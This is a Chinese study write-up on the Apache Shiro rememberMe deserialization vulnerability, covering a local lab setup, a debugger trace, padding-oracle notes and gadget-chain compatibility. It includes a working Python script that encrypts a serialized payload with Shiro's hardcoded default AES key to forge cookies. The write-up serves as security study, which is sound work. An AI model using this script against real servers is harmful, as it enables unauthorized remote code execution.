shiro反序列化漏洞学习记录
shiro < 1.2.4 环境搭建
- 官网下载shiro-root-1.2.4,把其中的samples-web部署到IDEA中。
- 修改pom.xml,加个cc依赖(默认是不带的)
commons-collections commons-collections 3.2.1 - tomcat部署启动。
shiro < 1.2.4 简单复现
用cc11打一下(cc6不行,原因待会说)
import base64 import uuid from random import Random from Crypto.Cipher import AES def get_file_data(filename): with open(filename, 'rb') as f: data = f.read() return data def aes_enc(data): BS = AES.block_size pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode() key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = uuid.uuid4().bytes encryptor = AES.new(base64.b64decode(key), mode, iv) ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data))) return ciphertext def aes_dec(enc_data): enc_data = base64.b64decode(enc_data) unpad = lambda s : s[:-s[-1]] key = "kPH+bIxk5D2deZiIxcaaaA==" mode = AES.MODE_CBC iv = enc_data[:16] encryptor = AES.new(base64.b64decode(key), mode, iv) plaintext = encryptor.decrypt(enc_data[16:]) plaintext = unpad(plaintext) return plaintext if __name__ == "__main__": data = get_file_data("ser.bin") print(aes_enc(data))
shiro < 1.2.4 漏洞分析
在AbstractRememberMeManager#getRememberedPrincipals中的getRememberedSerializedIdentity处下断点
跟进到获取cookie的地方(写的时候中间断过几次,payload可能不一样)
检查base64格式后进行解码
然后进入convertBytesToPrincipals对解码后的数据进行处理
进入decrypt函数中
函数中进行的就是正常的AES解密,没什么可看的,这里跟踪一下 getDecryptionCipherKey看一下密钥
发现密钥,这也是我们前面加密脚本里用到的
最后反序列化处理传进去的内容
shiro < 1.4.2 padding oracle
在shiro 1.2.5 之后获取key的方式不再是硬编码
这次的问题出现在解密函数本身,追踪解密函数,发现调用了crypt函数
单步进入到这里,在密钥不正确的情况下会抛出异常
填充时的不正确导致服务器不同的相应,可根据此特性利用padding oracle攻击爆破CBC加密过程中的临时变量,从而达到任意加密和任意解密。payload打不通的问题
如果用CC6去打的话会报错,因为shiro用的不是java原生的反序列化套件,重写了ObjectInputStream
类的resolveClass
函数,重写后的resolveClass方法采用的是ClassUtils.forName
获取class对象,
public static Class forName(String fqcn) throws UnknownClassException { Class clazz = THREAD_CL_ACCESSOR.loadClass(fqcn); if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the thread context ClassLoader. Trying the current ClassLoader..."); } clazz = CLASS_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { if (log.isTraceEnabled()) { log.trace("Unable to load class named [" + fqcn + "] from the current ClassLoader. " + "Trying the system/application ClassLoader..."); } clazz = SYSTEM_CL_ACCESSOR.loadClass(fqcn); } if (clazz == null) { String msg = "Unable to load class named [" + fqcn + "] from the thread context, current, or " + "system/application ClassLoaders. All heuristics have been exhausted. Class could not be found."; throw new UnknownClassException(msg); } else { return clazz; } }
具体原因很麻烦,这里直接放P神在java反序列化漫谈中的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误,因此诸如此类的CC链都是打不了的。
不过利用的字节码动态加载的CC2,CC4等还可以正常使用。无CC依赖
cc依赖并不是shiro自带,所以就有人研究出了Shiro自带CommonsBeanutils的反序列化gadget,具体分析可自行查询。
参考文献:
- http://wjlshare.com/archives/1542
- https://www.anquanke.com/post/id/203869#h3-5
- https://www.anquanke.com/post/id/193165
- https://www.cnblogs.com/CoLo/p/15542615.html#shiro-resolveclass